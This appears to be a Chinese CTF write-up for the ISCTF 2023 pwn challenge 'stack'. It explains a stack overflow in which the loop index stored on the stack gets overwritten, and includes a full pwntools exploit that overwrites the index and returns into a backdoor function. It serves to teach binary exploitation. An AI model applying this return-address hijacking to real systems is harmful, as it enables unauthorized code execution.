首页 > 其他分享 >2023ISCTFpwn题目:stack题解

2023ISCTFpwn题目:stack题解

时间:2023-12-01 21:31:39浏览次数:43  
标签:覆盖 cyclic 题解 位置 send stack io payload 2023ISCTFpwn

这是我在这次比赛中遇到最有意思的一题,不仅让我看到了一种有意思的题型,而且让我开始看懂了pwndbg的调试界面。

2023ISCTFpwn题目:stack题解_pwn

IDA里面是这样的,有直接可以提权的backdoor函数,有read函数,看似有点像ret2system。

让我们分析一下这个函数的读入逻辑:首先让你输入一个size值,read会总共分size次读入一个字节,并且写到s[ i ]的位置,由于 i 的递增,程序会在栈上一直往下写。确实是存在栈溢出,但是在我实际尝试过程中发现覆盖不到函数ret的地址。如何解决这个问题就是这题的关键。

2023ISCTFpwn题目:stack题解_wp_02

其中 i 的值存在var_4的位置,v1在var_24的位置,v3在var_18的位置,而数组从s开始写入。

这是我用cyclic send出去的,可以看到在我画线的地方看到是我的aaaabaaacaaad。(cyclic(数字)是pwntools的模块用于发送垃圾数据,格式就是这里显示的这样)

2023ISCTFpwn题目:stack题解_ISCTF_03

2023ISCTFpwn题目:stack题解_ISCTF_04

注意两幅图的画线位置,在下面的位置0xc0变成了0xe0,而A多写入了两个。

我敏锐的目光在gdb的界面上一扫而过,我就猜出了问题所在。(doge)

很明显如果A继续这样写进去, i 的值会被我们输入的A覆盖。这就是整道题的灵魂所在。而变量 i 的值如果被覆盖,程序会根据 i 的索引写到另一个地方,那我们解决的办法也很简单,用一个合理的值去覆盖 i 。

2023ISCTFpwn题目:stack题解_wp_05

2023ISCTFpwn题目:stack题解_栈溢出_06

在这两张图对比中我们看到如果继续写下去0x1c,也就是 i 的值会变成61.(这里的68是h,因为cyclic的特性会在一堆A里面加上别的字母方便看)

那我们要用什么去覆写 i 的值呢。一种方法是只让他跳过 i 的位置,然后像常规栈溢出一个个往下写。另一种方法就是直接向rbp的地址写入。

两种方法都可以,只要你把payload里面的垃圾数据的字节大小和覆盖 i 的值算对就好。我用的是第一种方法,这里看看exp。

from pwn import *
#from LibcSearcher import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
#   arch = "i386",
    log_level="debug",
)
#elf = ELF("./vuln")
#libc = ELF('./lib.so.6')
io = process("./stack")
#io = remote("43.249.195.138",20550)
def debug():
    gdb.attach(io)
    pause()
debug()
[################################################################]
ret = p64(0x40101a)#用来栈对其的,我还不清楚原理,这个是我哥们教的,有空填坑
back_adr = p64(0x4012E6)#back_door的address
payload = cyclic(0x1d)#垃圾数据
payload += b'\x1f'#用来覆盖 i 的值
payload += b'aaaaaaaa'+ ret + back_adr
io.send('51')#输入size的值
io.send(payload)
io.interactive()

这题大家可以多在pwndbg里一步步调试,在read设个断点一直 c 就行。

我就是这样打通pwndbg的任督二脉的,之前一直看不懂www

这题其实还告诉我们在进行栈溢出的时候要注意会不会把栈上关键数据覆盖了,导致爆破失败。

标签:覆盖,cyclic,题解,位置,send,stack,io,payload,2023ISCTFpwn
From: https://blog.51cto.com/u_16356440/8649247

相关文章

  • C#把listA通过“=”赋值给listB,然后对listA进行clear清空,第二个listB也清空了问题解决
    针对ArrayList赋值到另一个ArrayList的方法ArrayList<String>A=newArrayList<String>();A.add("1");A.add("2");ArrayList<String>B=newArrayList<String>();;B=A;A.clear();A清空后发现B也清空了。此时B对象相当与A对象的引用,而并不是将A对象的值单纯的传递给......
  • CF1705E Mark and Professor Koro 题解
    题意:给定一个长度为$n$$(1\len\le2e5)$的序列,每次可以把两个相等的$a_i$和$a_j$合并为一个$a_i+1$。给定$q$$(1\leq\le2e5)$次修改,每次将$a_k$修改为$l$,求每次操作后合并到无法再合并时出现的最大数。其中,$1\lea_i\le2e5$。......
  • 【ErikTse】2023-Codeforces新手训练营 第六期题解
    A.Wrath题目大意给你一个\(L\)数组和\(n\)个人,第\(i\)个人可以使用威力为\(L_i\)的闪电旋风劈击杀前面\(L_i\)人,问你最后能存活多少人?思路差分。开一个数组来标记当前威力的闪电旋风劈能击杀到的最远的人和使用技能的人,最远击杀的人所在的位置+1,自己的位置-1,这样算前缀和时所......
  • 关于Vue3中调试APP触发异常:exception:white screen cause create instanceContext fai
    bug:reportJSException>>>>exceptionfunction:createInstanceContext,exception:whitescreencausecreateinstanceContextfailed,checkjsstack->atuseStore(app-service.js:2309:15)问题在于:使用了pinia,并且在所有js文件或ts文件中调用超前,导致的加载错误 解决方......
  • DBeaver连接PostgreSQL后只有默认数据库“postgres”不显示其他数据库的问题解决办法
    我们在使用DBeaver连接PostgreSQL后,发现数据库中只有“postgres”默认数据库,不显示我们自己创建的数据库。1、......
  • CF1896D Ones and Twos 题解
    题意:思路:先考虑不带修:如果长度为$n$的序列$a$中无$1$,当且仅当$2\les\lesum(1,n)$时,一定有解;否则,一定无解。通过$set$维护序列$a$中每个$1$的位置,找到最靠左的$1$的位置$l$以及最靠右的$1$的位置$r$。对于区间$[l,n]$,由......
  • ABC270F 题解
    和博客园一样好的体验思路首先看到花最小代价使得所有点连通,果断转换成最小生成树问题。接下来就要考虑怎么建图,首先陆地就正常连不用说,建机场和港口的代价貌似都是点权,考虑转成边权。因为一个点飞或者划船到另一个点要两重代价,所以若我们想让\(u\)和\(v\)建能飞过去的边,我......
  • P6859 蝴蝶与花 题解
    题意:有一个长度为$n$的序列$a$,其中所有元素都为$1$或$2$,要求进行$q$次操作,每次操作为以下之一:$A$$s$:询问是否存在$a$的连续子序列满足其中元素总和为$s$,若有合法的方案,输出这个方案的左右端点位置(多种方案时输出左端点最小的方案),否则输出$......
  • CF1835D Doctor's Brown Hypothesis 题解
    题目链接点击打开链接题目解法首先只有在一个强联通分量里的点对才可能合法,因此我们这里说的图默认为强联通图但是上面的条件成立只需要满足\(k\gen\),考虑用好\(k\)可以认为是极大的性质所以说我们可以通过图中所有的环\(+\)路径来凑出\(k\)不难发现,所有的环能构成的......
  • CF249题解
    CF249linkCF249ElinkCF249E题意给你一个形如下图的矩阵并有\(T\)组询问每组询问给出\(x_1,y_1,x_2,y_2\)。求\(\sum_{i=x_1}^{x_2}\sum_{j=y_1}^{y_2}A[i][j]\)。其中\(A[i][j]\)表示在矩阵中的数。\(T\leq10^5\)\(1\leqx_1\leqx_2\leq10^9\)\(1\leqy_1......